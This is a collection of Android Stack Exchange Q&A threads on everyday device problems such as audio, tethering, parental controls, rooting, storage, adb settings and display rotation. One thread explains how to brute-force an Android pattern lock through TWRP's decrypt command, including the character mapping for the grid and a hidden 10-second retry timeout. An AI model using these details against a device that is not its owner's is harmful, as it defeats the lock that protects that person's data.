# Question
Title: Using wired and wireless headphones simultaneously?
I have 1 android device, 1 wired headphones, 1 wireless headphones, 2 ppl willing to watch film. When I connect both of headphones only wired work.

Is it possible to use both of headphones simultaneously?

# Answer
i have tried and tried, never works, either use 2 wired earphones or use 2 wireless Bluetooth earphones
> 1 votes

# Answer
http://androidforums.com/threads/using-2-bluetooth-headsets-at-once.178052/

There are a few recommendations but this seems like it would work: Buy a Y splitter which will turn one 3.5mm headset jack into two Buy a Bluetooth Audio Transmitter like this one Plug your headphones into the one Y jack Plug your Transmitter into the other jack Enjoy headphones + bluetooth working simultaneously Theoretically, you could also connect 2 wired headsets or 2 bluetooth headsets with this method. This is more of a worst-case scenario hack. It seems devices with Bluetooth 4.0+ are already able to support multiple profiles:
> 0 votes

# Answer
Use the adapter that allow to connect wired headset. The smartphone switchs automatically to the wired headphone if inserted.
> -2 votes

---
Tags: audio, headphones, bluetooth-audio
---


title: Bluetooth reverse tethering

text:
# Question
Title: Bluetooth reverse tethering
Hey all so I have connected my HTC to my laptop via Bluetooth ( they're paired and connected)

* the Bluetooth Tethering option in the phone is Enabled
* I can see a Bluetooth network connection has been added in network connections and adapter panel
* I'm stuck after this....
* the problem is that when I go to the sharing tab of the network connection which I'm trying to share it's internet, there it asks you to select a network connection which the internet is going to be shared too but the Bluetooth connection wont show so I could select it...

# Answer
> 0 votes
Bluetooth reverse tethering for Android on Windows 7/8/10 is not possible *out of the box*. It *might* be if you have installed the Toshiba Bluetooth Stack (see below).

As of Windows 10 1809 the Bluetooth PAN network generated by Windows' own BT drivers technically is not a "full blown" network like wired LAN or WiFi. Thus it does not show up in the list of network adapters to use the shared internet connection.

For the same reason you cannot bridge your wired LAN ethernet adapter with the bluetooth PAN (Microsoft documentation says bridging needs two "highspeed" connections - which PAN obviously is not).

As some googling reveals Mac and Linux folks are better off because these OSes *can* do reverse tethering with bluetooth.

If you really desperately need to do it based on a windows machine your only choice is to **set up a virtual machine with Linux as guest OS** and do it from there. There is a how-to in German on this solution at PC-Welt.

---
Tags: reverse-tether
---


title: Child-proofing an Android phone?

text:
# Question
Title: Child-proofing an Android phone?
Is there a way (an app, or a special launcher, a set of apps with instructions) that allows turning an Android phone into a child-proof "only call parents" one?

Here are my main requirements (and some possible implementation ideas I was thinking of as bullet points):

1. The phone's main purpose is to serve as an emergency way to contact parents etc...

Yes, I know there are special child proof phones like LG Milo \- I am interested in how to turn an Android phone into that same functionality when not "unlocked".
2. When "locked down", the only thing a child must be able to do would be to call one of several pre-defined phone #s.

* Whitelisting #s in dialer app (requiring password for non-whitelist)
    * or, having a custom dialer that only has "call Mom" etc... buttons with no way to dial specific phone #s; and tuning off access to Android dialer app (see item #2)
3. When "locked down", access to ALL non-whitelisted apps is restricted

* Password protecting ALL apps not whitelisted (including of course Play Store and browser).
    * Or, custom Launcher that doesn't have anything but a widget for calling whitelisted #s and apps.
    * Or, if push comes to shove, I'm OK with ONLY phone functionality being whitelisted if no other apps can be to get this to work.
4. Less importantly, it's a nice-to-have if the phone can be "unlocked", perhaps via "parent" password, to allow full Android functionality without having to re-flush/reinstall etc...
5. This does NOT need to be genius-child-proof. E.g. if the way to unlock it is to reboot and launch Recovery mode, that's safe enough for me. The goal of locking down is mostly to cut down on accidental bad usage; and on temptation to do stuff that the phone isn't designated for in school (IOW, emergency contact method); if a child is smart enough to bypass lockdown, it's not the end of the world.

As far as what it takes to do this, I'm extremely comfortable with rooting, somewhat comfortable with flashing as a process (but less comfortable with flashing a random ROM of questionably stability, for obvious reasons); very comfortable with generic Unix commmand line; shell, Perl and C programming; but not Java or Android development. Basically, the sky's the limit technically as long as I don't have to actually write a genuine Android program

# Answer
> 9 votes
1. Activate `Fixed Dialing Numbers` feature from `Call Settings` (and, add numbers there to allow). You may need to contact your carrier. This is supported by even classic Nokia phones, so all ROMs should support it.
2. Kiosk lockdown the device and allow only `Phone/Dialer` app in *Kiosk Mode*. For Kiosk Mode, try searching "Kiosk" in Play Store. SureLock Kiosk Lockdown app looks great to me.

Don't forget to allow kid apps other than phone in Kiosk Mode. Happy Parenting!

# Answer
> 2 votes
Google has Family Link which allow for some restrictions on the child's device.

* Approve/disallow apps
* Screen time limits
* Location - find child's device

The full list of features is here: https://support.google.com/families/answer/7158477

A few limits:

* Child account at 13 years can choose to leave Family Link
* Website filtering is limited to Google's SafeSearch & related filtering tools.
* Will still see ads

Google Family Link FAQ

Parents should review Google Family Link FAQ and see what data collection is acceptable.

---
Tags: security, kiosk-mode
---


# Question
Title: How to safely root the Samsung Galaxy Tab A 2017 (SM-T380)?
I am wondering what would be a safe way to root my Samsung Galaxy Tab A 2017 (SM-T380)?

I understand there is CF-AutoRoot and such but I have **no** experience in rooting any device with that method and I'm extremely scared that if I attempt to root my tablet with CF-AutoRoot and such that my device will get bricked.

Details about the tablet below.

**Android Version**: 7.1.1

**Security Patch Level**: January 1, 2018

**Build Number**: NMF26X.T380DXU1ARB3

**"OEM Unlock" option available ✔**

I also have another question. The tablet has a pending update to Android Oreo, if I were to update the tablet and the tablet was rooted at the time I updated it would it affect my root?

# Answer
> -1 votes
I removed my RMM prenormal with miracle box no box and after finding the twrp tar on xda used it to install a custom zip file i made with superr kitchen and a rom from samfirm . There are no roms a

---
Tags: rooting, samsung, root-access, 7.1-nougat
---


# Question
Title: Effects of hourglass button in Android P easter egg
In the Android P easter egg, PAINT.APK, there is a button in the toolbar that looks like an hourglass. Clicking it rotates it, but it appears to have no effect. What effects do the hourglass button in the Android P easter egg have?

# Answer
I found out that when the hourglass is vertical, it makes the colors fade over time. But when it is horizontal, the colors do not fade.

Purple sitting 3 minutes with hourglass vertical on the left Purple sitting 3 minutes with hourglass horizontal on the right
> 5 votes

---
Tags: 9.0-pie, easter-egg
---


# Question
Title: Low storage and Play Store problems after factory reset
After I did a factory reset (twice; once through settings, once through recovery mode by clearing eMMC), I got a "low storage space" error. I can't get rid out of it - tried clearing cache and uninstalling every pre-installed app I could.

It's a generic Android device from Amazon (China) for $40, so of course, it reports tons of free space.

The main problem is that I can't install any apps. Google Play doesn't update. From the old store, I can't install anything, error 504. Installation of .apk's fails too, for an unknown reason.

Something weird happens that I can't understand: after a while, when I try to open Google Play Store, it says "app isn't installed". More curiously, restarting fixes the issue!

TL;DR I want to be able to at least install apps. The main issue is low storage. Factory reset doesn't work.

# Answer
> 0 votes
If you have a SD card slot you could format a storage card to the phone and configure that card to be your default for app storage. That could give you a better platform to start downloading the apps to your phone.

---
Tags: google-play-store, insufficient-memory
---


# Question
Title: I uninstalled an app,but did not clear space
So i am using a Samsung Galaxy Tab 4 and i recently had this game called 'Bully:Scholarship Edition'(got tired a while of the GTAs) and i saw the app was having 5.30GB memory size I tapped uninstall and the app,the obb(2.5GB) and the data are gone from my device,but i keep having only 500MB free I do not have any cache to delete I did restart my device a couple times Nothing seems to work

Please help me if you can

# Answer
Cleaning apps like Clean Master will find and get rid of residue files if there are any present on the device, you can then uninstall it when your done if you don't want all the advert notifications.
> 0 votes

---
Tags: google-play-games
---


# Question
Title: Copying files from a android phone without display or touch
My Oneplus X phone fell and the display and touch are not functional anymore. When I connect to my Linux laptop, an empty "Android" drive and "OnePlus X drivers" drive gets mounted. I tried copying the contents, but been unsuccessful. Is there a way to get the contents?

# Answer
> 0 votes
You could trying plugging in a mouse to your device via an OTG cable. Then you should be able to access your notifications bar and configure your phone to communicate with the PC.

---
Tags: backup, broken-screen, oxygenos, oneplus-x
---


# Question
Title: How can I delete all mail from gmail stored on my Android device?
There seems to be quite a lot of similar questions but I haven't found one which covers my situation.

I have an android device on loan to do some development testing and at some point I opened the standard Mail account and connected to my Gmail account. Obviously all my mail was synced.

Now I need to return the device and I have set Aeroplane mode to avoid any further access to my WiFi.

However, when I run the Mail app all my previously synced emails are there, obviously stored somewhere on the device.

I need a way of deleting all those emails from the device only. Maybe deleting a file somewhere on the device or something else ?

# Answer
> 0 votes
Gmail account is directly linked to the internet and stores few bits of data onto the device. Even if you are not connected to the internet, the data will stay on your device. Logging out of the Google device will remove your preferences or settings, but the data can on your device is still visible. To remove the data, you need to do a factory reset, which will wipe out the entire data (including your internal memory file). This can be done in two ways, reboot from settings, Settings --\> system or about phone --\> reset --\> factory reset. Or manually by switching off the phone, and then pressing power and volume down button simultaneously. You can find more information here https://www.androidcentral.com/how-factory-reset-android-phone

---
Tags: email
---


title: Whatsapp workaround?

text:
# Question
Title: Whatsapp workaround?
What I have:
\- I don't want to install Whatsapp on my phone because I don't want it to access my personal data.
\- There's an organisation that requires me to use Whatsapp to communicate with them.
\- These two statements are mutually exclusive....

What I want:
\- Is there any way for me to use Whatsapp without installing it on my phone? (I already have a Whatsapp user account.)
\- Alternatively, is there a way to install and use Whatsapp without giving it access to all my data? (Contacts, calendar, camera, photos, etc etc.) I use Android 7.1.2 because there's no newer ROM for my phone.

I realize this might be offensive to some users ("use it or don't!") but please look past that. I'm trying to satisfy competing demands here.

**Update:**

* I had another go at this. Installed the app again, did *not* give contacts permissions (or any other), and the app starts okay (on iOS it flatly refuses to start, so at least this is better on Android).
* I cannot create a new message though. When I touch the "new message" button, I get a popup to share my contacts. *No!* This is not going to happen.
* It won't let me just type in a phone number and send to that user. (This is allowed in Signal, for instance.)

# Answer
> 0 votes
You can disable the permission given to WhatsApp from setting --\> Apps and notification --\> App info --\> Whatsapp --\> Permissions and then turn off the permissions which you don't want to share. Whatsapp needs a valid sim card to run which can be used on phone or desktop only. Hence, you can run Whatsapp on desktop having a sim card option.

---
Tags: whatsapp-messenger, privacy
---


title: How to list all the namespaces?

text:
# Question
Title: How to list all the namespaces?
Right now, to list all the settings of `System` namespace I can do:

```
platform-tools/adb shell settings list system

```

To list all the settings from `Global` namespace I can do

```
platform-tools/adb shell settings list global

```

But I want to explore all the settings from all the namespaces currently installed, and for that I need to list all the available namespaces, so how do I do I get this list?

# Answer
> 9 votes
There are only three namespaces available: `system`, `secure` and `global`.

The settings command prints this information if you execute it without parameter:

```
adb shell settings

usage:  settings [--user <USER_ID> | current] [--cm] get namespace key
        settings [--user <USER_ID> | current] [--cm] put namespace key value
        settings [--user <USER_ID> | current] [--cm] delete namespace key
        settings [--user <USER_ID> | current] [--cm] list namespace

'namespace' is one of {system, secure, global}, case-insensitive
If '--user <USER_ID> | current' is not given, the operations are performed on the system user.
If '--cm' is given, the operations are performed on the CMSettings provider.

```

> **'namespace' is one of {system, secure, global}, case-insensitive**

Alternatively if you don't belive the settings help page you can see it in the AOSP source code. The `settings` command is implemented in the Java class `com.android.commands.settings.SettingsCmd` where you can see that exactly those three namespaces are accepted.

---
Tags: adb
---


# Question
Title: Restore backup.ab file on Amazon Fire TV Stick?
I'm trying to restore a backup file onto an Amazon Fire TV Stick 2 using `adb restore backup.ab`, however, the restore confirmation doesn't come up on the Fire TV Stick. The device is rooted and currently have TWRP.

Is there a way to force restore without a confirmation?

# Answer
> 0 votes
If the device is rooted you can manually restore the backup.

1. On a PC extract the backup file using Android Backup extractor. This will convert the backup to a TAR archive.
2. (optional) extract the APK files (if the backup contains not only app data) and install them via adb.
3. Upload the TAR archive to your device via `adb push` and untar it.
4. Copy the files you want to recover into the right directories using `adb shell` and root permissions.

# Answer
> -1 votes
Rather than trying to find an old version of adb, it's easier to add quotes to the arguments to adb backup :

```
adb backup "-apk -shared -all -f C:\Users\NAME\backup.ab"

```

---
Tags: restore, amazon-fire-tv-stick
---


title: Re-link installed apps to Play Store

text:
# Question
Title: Re-link installed apps to Play Store
After installing custom ROM and downloading most of my apps from PC and installing them offline, my Play Store account is peculiar. Some apps I uninstalled weeks ago but I can still see on Play Store desktop, many apps are shown installed on Play Store mobile but not on the desktop, and many unlinked apps.

So what can I do?

# Answer
If your phone is **rooted**, then **Titanium Backup** app has a relevant feature that might work:

1. Tap the app you want to link from the list of apps on the titanium backup app
2. switch to the "Special features" tab
3. You will find "attach to market(forced)"

There's also an XDA thread about this.
> 0 votes

# Answer
I overcame this by clicking the install button on the desktop Play Store on apps one by one.

On my desktop, I go to Google Play then find the un-linked apps one by one and click on the install button. Then on my phone, I can see those apps are included on my apps list in Play Store app.
> -1 votes

---
Tags: applications, google-play-store
---


# Question
Title: Risks of removing the stock browser on LineageOS
I would like to get rid of the stock browser (org.lineageos.jelly) on my phone that runs LineageOS. Other threads and sites already go into the details of removing pre-installed apps with/without root but I am wondering if there are any risks of removing the browser in particular? For instance, is the Android System WebView implementation in any way tied to the stock browser? (I'd still want to be able to use apps that use WebView.) More generally, is there anything else I'd affect by removing the stock browser?

# Answer
I ended up going ahead and just removed the Jelly browser – initially manually by using TWRP's file manager and later – since it came back when I updated the system afterwards (duh) – using a handy flashable zip that I got from LOSdiet. So far, so good. Everything seems to work fine.

As for WebView, the Android System WebView entry in the developer settings is still there, so I suppose WebView is not tied to the `Jelly.apk`. Indeed, the LOSdiet site github.io page as well as the old CyanogenMod "barebones" wiki page indicate that the default (pre-installed) WebView is a separate `.apk`.
> 5 votes

---
Tags: lineageos, stock-browser
---


title: List of supported A/V and Image Codecs

text:
# Question
Title: List of supported A/V and Image Codecs
Using ADB, is it possible to obtain a list of audio, video and image codecs supported on a given device? Whether or not they physically play is another story. I'm just trying to poke the device and get a list back so I can attempt to play whatever, say Nexus 5 supports.

Thanks.

# Answer
The file `media_codecs.xml` located in `/system/etc` lists the codecs available for a particular device.

To read it via adb shell:

```
adb shell cat /system/etc/media_codecs.xml

```

Part of Media\_codecs.xml content on my phone:

```
<MediaCodecs>

    <Settings>
        <Setting name="max-video-encoder-input-buffers" value="10" />
    </Settings>

     <Decoders>
        <!-- ffmpeg video decoders -->
        <MediaCodec name="OMX.ffmpeg.h263.decoder" type="video/3gpp">
            <Limit name="size" min="16x16" max="1920x1088" />
            <Limit name="alignment" value="2x2" />
            <Feature name="adaptive-playback" />
        </MediaCodec>

        <MediaCodec name="OMX.ffmpeg.h264.decoder" type="video/avc">
            <Limit name="size" min="16x16" max="2048x2048" />
            <Limit name="alignment" value="720x1280" />
            <Feature name="adaptive-playback" />
        </MediaCodec>

        <MediaCodec name="OMX.ffmpeg.hevc.decoder" type="video/hevc">
            <Limit name="size" min="2x2" max="2048x2048" />
            <Limit name="alignment" value="2x2" />
            <Feature name="adaptive-playback" />
        </MediaCodec>
    </Decoders>

    <Encoders>
        <!-- mediatek video encoders -->
        <MediaCodec name="OMX.MTK.VIDEO.ENCODER.MPEG4" type="video/mp4v-es" >
            <Limit name="size" min="16x16" max="1920x1088" />
            <Limit name="alignment" value="16x16" />
            <Limit name="block-size" value="16x16" />
            <Quirk name="requires-allocate-on-input-ports" />
            <Quirk name="requires-allocate-on-output-ports" />
        </MediaCodec>

        <MediaCodec name="OMX.MTK.VIDEO.ENCODER.H263" type="video/3gpp" >
            <Limit name="size" min="16x16" max="1920x1088" />
            <Limit name="alignment" value="16x16" />
            <Limit name="block-size" value="16x16" />
             <Quirk name="requires-allocate-on-input-ports" />
            <Quirk name="requires-allocate-on-output-ports" />
        </MediaCodec>

        <MediaCodec name="OMX.MTK.VIDEO.ENCODER.AVC" type="video/avc" >
            <Limit name="size" min="16x16" max="1920x1088" />
            <Limit name="alignment" value="16x16" />
            <Limit name="block-size" value="16x16" />
            <Quirk name="requires-allocate-on-input-ports" />
            <Quirk name="requires-allocate-on-output-ports" />
        </MediaCodec>
    </Encoders>

  <!-- <Include href="media_codecs_mediatek_audio.xml" /> -->
  <!-- <Include href="media_codecs_mediatek_video.xml" /> -->
    <Include href="media_codecs_google_audio.xml" />
    <Include href="media_codecs_google_telephony.xml" />
    <Include href="media_codecs_google_video_le.xml" />
    <Include href="media_codecs_ffmpeg.xml" />
</MediaCodecs>

```

It may also point to other files as on my phone to get a complete list. Therefore, use the command below to get the full list of files listing codecs available on your device.

```
adb shell find /system/etc -type f -name "media_codecs*.xml"

```

You can then filter the files on the codec types with the following commands:

```
cat /system/etc/media_codecs*.xml | grep "type="

```

Media Codec Info app offers an easier way to list the codecs on a device.
> 2 votes

---
Tags: adb, audio, video, images
---


title: Sign out from remote Android's Gmail

text:
# Question
Title: Sign out from remote Android's Gmail
Last week I lost my phone, so I borrowed a phone from a friend.
The phone already add the Gmail app with my friend's Gmail account (a Gmail account that my friend does not care much about so there was no privacy issue). I added my Gmail account into the app so that I could check my emails.

**Problem**: I had to take a plane in a rush and forgot to sign out from my Google account on that phone.

**Question**: How do I sign out myself?

* I could just ask my friend, but I would prefer something more reliable (and that does not trigger their curiosity).
* On a desktop computer I clicked "*Details*" then "*Sign out all other Gmail web sessions*", but it only says "*web*" so that probably does not sign out mobile sessions? By the way, my friend's device does not show up in this list.
* On a desktop computer I changed my password, but that did not sign me out of Gmail on my own phone (yes I found it back!), so I guess that does not sign me out of Gmail on my friend's phone either?

At https://myaccount.google.com/security "*Your devices*" still shows my friend's phone (*screenshot on Firefox 66.0.3 JavaScript enabled addons disabled*):

The date and time shown in the screenshot above is well after I left. The "*Lost this device?*" page only gives useless advice such as "*Try calling your phone*" or "*Reach out to your carrier*", with no button to remove that session.

# Answer
> 0 votes
You can manage all devices on the Device Activity web page:

Expand the entry of your lost device and you will get a button for "Remove account access."

---
Tags: gmail, google-account, authentication
---


# Question
Title: Change .pdf-file-icon under Total Commander
I have recently installed the Dropbox app and it overwrote the standard pdf-file-icon my file manager was displaying. i don't like the dropbox-pdf-icon and would like to have the previous one back.

> Is this possible w/o uninstalling the Dropbox app?

p.s. I have a rooted device

# Answer
Total Commander (TC will show the first returned icon for that type. It seems.to be impossible to reorder them by hand. TC calls packageManager.queryIntentActivities to find out which apps are associated with a certain file type. If none of them is marked as a default, TC uses the first one in the mentioned list. But there is no clue (yet) in which order these are returned by Android.

You may also choose your own:

1. Go to: Main menu - Configure - Internal associations
2. Add new extension: .pdf
3. Choose an icon via button in the lower left
> 1 votes

---
Tags: file-management, icon-packs
---


# Question
Title: How to set SELinux enforcing, config file not found?
I have Samsung Galaxy J7 Core (SM-J701F), I'm running Magisk on my device and I ran the SafteyNet test and it failed. While trying to solve this I tried to change **selinux** state to **enforced** by editing `/etc/selinux.config`. But when I opened the folder there was no such file!

When I run `getenforce` command it gives me "permissive". Is this a problem and how can I fix it?

# Answer
> 0 votes
Yes, `permissive` SELinux could be one of the reasons of failed SafetyNET test (). So you need to set it `enforcing`. However Android uses a modified version of libselinux, not dependent on `/etc/selinux/config` (). On Android SELinux is configured when building ROM, and enforced by `init` when booting ROM. However if you have root, you can use `setenforce` command (located under `/system/bin`) or write directly to Kernel Configuration File (`/sys/fs/selinux/enforce`). But make sure you have a working SE policy before enforcing, or you may get stuck.

---
Tags: root-access, linux, selinux, safety-net
---


title: Google Photos will not backup

text:
# Question
Title: Google Photos will not backup
I have a Samsung Galaxy Note 8 running Android 9 and One UI. Google Photos will not back up anything.

All I am getting as a `Getting ready to back up` and `185 items left` perpetual spinner at the top of the app. When I attempt to manually back up a single photo or a group of photos, I receive the message `Will upload when connected to Wi-Fi`.

I have unlimited data and am perfectly happy with it backing up over my cellular data connection. However, going into Settings-\>Back up & sync-\>Cellular Data Back Up, I see that **both** Photos and Videos are enabled. So it **should** be backing up over cellular data. But it's not.

What am I missing?

# Answer
I was able to finally get Google Photos to back everything up. It's not a perfect solution, but it does seem to work for now.

Uninstall / Reinstall.

I just completely uninstalled the app, then immediately reinstalled it from the Google Play store. One of the first things it asked about in its "first-time setup" procedure was whether or not I wanted it to backup my files over cellular data. It defaults to "Wi-Fi only", but I changed it so it would back up on both Wi-Fi and cellular data.

After going through the rest of the "first-time setup" prompts, it began backing everything up, as well as giving me a "clean up ### MB of files" option. I chose that because, why not? I noticed that it did go ahead and back up all of my photos, but the spinner kept running at the top of the app, saying `285 items left` (I'm not sure of the exact number) and appeared to be stuck at that.

I decided to let it go and see if it would eventually get through them all anyway. Hours later, I saw that it was on `162 items left`. Finally, hours after that, I got the much-sought-after cloud-with-a-checkmark icon. It had finished backing them all up.

Perhaps it got stuck on some long video files or burst-shot photos—I don't know. In any case, I think the uninstall / reinstall procedure is what did the trick for me.
> 2 votes

---
Tags: wi-fi, backup, data-connection, google-photos
---


# Question
Title: Determine if a Google Play app requires Google Play services?
How do I determine if a Google Play app requires Google Play Services? Or does every app listed on Google Play require it?

# Answer
You can use Aurora Store for this. It is a libre app which *et al* list trackers in the app; whether it shows ad;a and whether the app uses Google Play Services as a dependency or not.
> 2 votes

# Answer
If an app requires Google Play Services, then as soon as you open the app, you will be warned that you can't run the app unless you have Google Play Services or in better cases, that you will have limited functionality or that you may encounter unintended behaviour. Not all Google Play apps require Google Play Services.
> 0 votes

---
Tags: google-play-services
---


# Question
Title: Allow rotate into portrait mode but do not rotate external display
*To avoid this question being flagged as a duplicate, I have included a list of similar questions at the end of this post with an explanation about why my question is different. Please read these reasons before you flag this question as a duplicate!*

---

I'm trying to work out how to get my Nexus 5, in portrait mode, to display on an external monitor, in portrait mode (connected via SlimPort/HDMI).

In landscape mode everything is fine:

However in portrait mode, the signal is still output as if it is meant to be displayed on a landscape screen, which doesn't work at all if the screen is in portrait mode:

You can see here that in both landscape and portrait mode the phone is outputting the same 1920x1080 signal, except in portrait mode the screen content is being rotated by the phone's GPU and displayed as a 607x1080 image in the middle of the 1920x1080 screen. (It is not, as some people have suggested, outputting a 1080x1920 signal that the monitor is centering. You can verify this because changing the phone between landscape and portrait shows a nice rotation animation and the monitor does not lose sync as it would if the resolution changed.)

Since the phone, when in portrait mode, is rotating the picture sent to the external display, I want to disable this, so it is just output as-is with no rotation. This will of course appear wrong on a landscape monitor, but when you rotate that monitor into portrait mode it will be fine:

Is there any way to disable this rotation, so that an external display in portrait mode can display the phone's content when it too is in portrait mode?

---

*Similar questions have been asked before, but none are after the same solution:*

# Answer
Try these instructions, using a computer with adb installed and your phone connected:

Android Jelly Bean (4.2) locks HDMI rotation by default. You can unlock by the instruction of this commit.

> 1. Add special mirroring modes for demonstration purposes.
> 2. Assume rotation of HDMI display is portrait.
>
> ```
> adb shell setprop persist.demo.hdmirotation portrait
>
> ```
> 3. Don't lock rotation while HDMI is plugged in.
>
> ```
> adb shell setprop persist.demo.hdmirotationlock false
>
> ```
> 4. Hide secondary displays from apps but continue mirroring to them.
>
> ```
> adb shell setprop persist.demo.singledisplay true
>
> ```

<sub>Source: https://community.freescale.com/docs/DOC-97740 </sub> *(note: link broken as of 2022 January)*
> 6 votes

# Answer
I know this is an old post but I was just dealing with a similar issue but trying to cast the screen of a Pixel 2 device to a portrait screen and was running into a lot of issues. The main problem seems to be that Pixel 2 and 3 do not seem to support HDMI output so these properties do not solve the issue.

However, I was able to figure this out by following the link Malvineous posted in a comment above. Just below the code dealing with setting `persist.demo.hdmirotation` there is another setting called `persist.demo.remoterotation` as well as one called `persist.demo.rotationlock`. These were the key to getting a phone to cast in portrait mode to the screen. These settings seem to exist in both 8.0 and 9.0 versions of Android, though I downgraded my Pixel 2 to 8.0 in the process of trying to figure this out and have not tested on 9.0 yet.

To get to this point took several steps which are outlined below.

1. You need to unlock and root your phone (I used MagiskManager to help root and I found this guide very useful as it explains a little more in detail exactly what to do for those like me who had not done this before).
2. Using adb tool start the adb shell on your connected and rooted device `adb shell`
3. Activate superuser by entering `su` in shell (for me this had the additional step of going into MagiskManager and allowing SuperUser access to the shell).
4. Enter the following lines into the shell to create and set these properites:
```
setprop persist.demo.remoterotation portrait
setprop persist.demo.rotationlock false

```

Once that was set, I cast my Pixel 2's screen to a chromecast device and it was in the desired portrait orientation. I hope this helps anyone in the future trying to figure this out.
> 2 votes

---
Tags: external-display, slimport
---


# Question
Title: How can I prevent unrecoverable photo deletions on Android without a cloud service?
I don't want to set up Google photos to back up to the cloud for privacy reasons.

Recently I noticed that with the default Android camera app, and the default Google Photos app, the "Trash" is only used if you have the app set up to sync with your cloud service.

This means that any photo that's deleted from the camera roll—for example, by swiping from the camera to view the photos just taken, and then swiping down—is immediately unrecoverable. (There is an "undo" button briefly visible, and that's all.)

By contrast, in iOS (which my family members are more used to), any photo that you delete will go to the "Trash" where it will only be actually removed after 30 days, giving plenty of time to recover from any accidents or mistakes. (And in iOS, this feature doesn't require iCloud use at all.)

**How can I set up my Android devices to mimic this functionality, so that photos deleted from the camera roll, or from the photos app, are still preserved for an additional 30 days unless special action is taken?**

(I'm running a Nexus 7 with Android 6.0.1, but we have a couple other Android devices in the house that I would probably apply the answers to if I can.)

# Answer
You need to install a separate app to get this functionality. Since you don't want to use cloud services, this app can help you recover your deleted photos: https://play.google.com/store/apps/details?id=com.baloota.dumpster&hl=en
> 0 votes

# Answer
You need a Recycling Bin Application.. IOS uses a Recycling Bin, similar to that of a PC..

Android has no such features..

You can download applications that allow you to use the Share function to Send files to a Recycling Bin...
> 0 votes

---
Tags: data-recovery, camera, photos
---


# Question
Title: How can I weigh how useful a specific frequency that a network provides is?
I looked up the T-Mobile frequency chart,

## Frequency bands

```
1900 MHz              2    4G LTE; 4G (HSPA+); 3G (UMTS/HSPA); 2G (GSM/GPRS/EDGE)

1700/2100 MHz (AWS)   4    4G LTE; 4G (HSPA+); 3G (UMTS/HSPA)
                      66   4G LTE

850 MHz               5    4G LTE

700 MHz               12   4G LTE
600 MHz               71   4G LTE

```

I'm evaluating a phone, the Huawei P20 Pro 128GB. This phone isn't sold by T-Mobile but it seems to mostly support the bands, however it's lacking support for Band 71.

* How much service-degradation can I expect from lacking a specific band?
* Is there any way to weigh the importance of those bands individually?

Making me even more curious, I'm currently using a Samsung S5 which was sold to me by T-Mobile, and it doesn't support 600 MHz -- maybe I'm missing out on a lot, maybe the 600 MHz band isn't actually used anywhere?

# Answer
> 0 votes
It is Mobile Service Provider Specific..

Some service providers May use the frequency and Others may not... It is usually Added so the device can be used with Many Service Providers.

In relation to Missing Out.. The Lower the Frequency, The Further it travels but also the Slower the internet..

The 600Mhz range is most likely Added for Rural area's that get little reception, the speed of the 600Mhz range is a lot Slower than the 800Mhz range, However 800Mhz will Not Travel as Far...

You ultimately are only loosing out on a Slow connection, but also one that travels further..

You will drop in and out of reception slightly More than a device that does support it !

---
Tags: baseband
---


# Question
Title: Attempting to brute force Android security pattern through TWRP via adb
Yesterday I somehow forgot the Android security pattern on my phone. Due to muscle memory I sort of know what it was, but can't figure out the true pattern. Therefore I'm attempting to brute force it to allow me to unlock the phone again.

**Decrypt with pattern**
Since I've TWRP recovery installed, I'm able to use the `twrp decrypt 'passphrase'` command for decryption attempts. I'm using a 4x4 pattern (OnePlus5, LineageOS, Android 8.1, TWRP clockworkx 3.2.3-1) for which each dot in the grid translates to a different character, you should concatenate to build your passphrase. I believe the 4x4 grid looks like this:

```
1   2   3   4
5   6   7   8
9   :   ;   <
=   >   ?   @

```

Having a line pattern from the top left to the bottom right would give a passphrase of `16;@`, allowing you to decrypt your phone in TWRP using `adb shell twrp decrypt '16;@'`. (via)

**Brute force attempt**
Through this method I've attempted all possible patterns I believe could be it, but I didn't succeed decrypting it. The command always returns `Attempting to decrypt data partition via command line.` to `stdout`, and nothing else. I'm rapidly attempting each pattern one after the other with no delay, detecting whether any command output differs from the expected output (which hasn't happened yet).

**Questions**
Because I didn't succeed yet, I'm wondering if my implementation is correct. I don't have a phone to test with, so I have a few questions:

1. Does the `twrp decrypt` command output something else when decryption succeeds?
2. Does successfully decrypting create a block device at `/dev/block/dm-0`, which I can probe for?
3. Should I wait a few seconds after each attempt before probing for success?
4. Is there some sort of hidden timeout (required to wait 30 seconds after attempt)?
5. Is there another method I can use to probe for success?

**Brute force tool**
I did build the following tool for this brute force attempt, if that's relevant for what implementation I've used: apbf

I don't understand what is wrong with this implementation. It does not seems to properly decrypt the phone, making me wonder if the key could be corrupted.

I'm currently rebooting recovery after reach attempt, but that takes a lot of time for 1400 possible patterns. I'd like to be sure the attempt isn't useless.

---

Since I do know the approximate pattern length, am certain only the two right columns are used, and know that the dots in the pattern never have a distance greater than 1, I can greatly reduce the pattern search space and limit the possibilities.

Encryption is enabled on the phone, I believe it's file-based. When in TWRP, the `/data/data` and `/sdcard` directory seems to list encrypted file names.

# Answer
After a while I figured out what the problem was, with a freshly flashed phone. Here I'll be answering my own question.

---

1. > Does the twrp decrypt command output something else when decryption succeeds?

Yes, it outputs something like:

```
Attempting to decrypt data partition via command line.
Data successfully decrypted
Updating partition details...
...done

```
2. > Does successfully decrypting create a block device at /dev/block/dm-0, which I can probe for?

No.
3. > Should I wait a few seconds after each attempt before probing for success?

-
4. > Is there some sort of hidden timeout (required to wait 30 seconds after attempt)?

**Yes**, very important! About **10 seconds**. Consecutive attempts within that time frame fail with no warning whatsoever.
5. > Is there another method I can use to probe for success?

-

---

So, consecutive attempts to invoke `twrp decrypt` must have at least 10 seconds between them or else they will fail. So, the only thing that was wrong with the developed tool, is that I didn't implement this timeout.
> 7 votes

---
Tags: adb, security, twrp, encryption, pattern-lock
---


# Question
Title: Nexus 5 stuck on OS loading animation, pressing Volume-/Power only shows fastboot for a second, adb shows nothing
This is the normal LineageOS loading screen, which I had until yesterday:

**Problem**: Since yesterday, only one circle is going from right to left, forever. In other words, it never reaches the 3 circles (even after 8 hours overnight), and my Nexus 5 has become useless.

After reading Nexus 5 stuck on "flying color dots lollipop" screen after Hard Factory Reset I tried pressing Power/Volume- at the same time for 30 seconds. Result: It makes the fastboot screen appear for less than a second (during that split second I can move the cursor with Volume+/-), then the screen turns black, then fastboot for a split second again, then this boot-loop:

1. white Google+unlocked lock on black background, for a few second
2. black screen
3. Vibration
4. Back to step 1

Pressing the same Volume-/Power during the earlier "white Google+unlocked lock on black background" screen results also results in the same boot-loop.

During all of these phases (animation, fastboot, boot-loop), running `adb logcat` from my connected computer only shows `waiting for device`.

I am performing all of this with the charger plugged in. I even changed the battery to make sure it was not a power problem. To check I managed to quickly push "Power off" in fastboot and it shows the battery level: 100%.

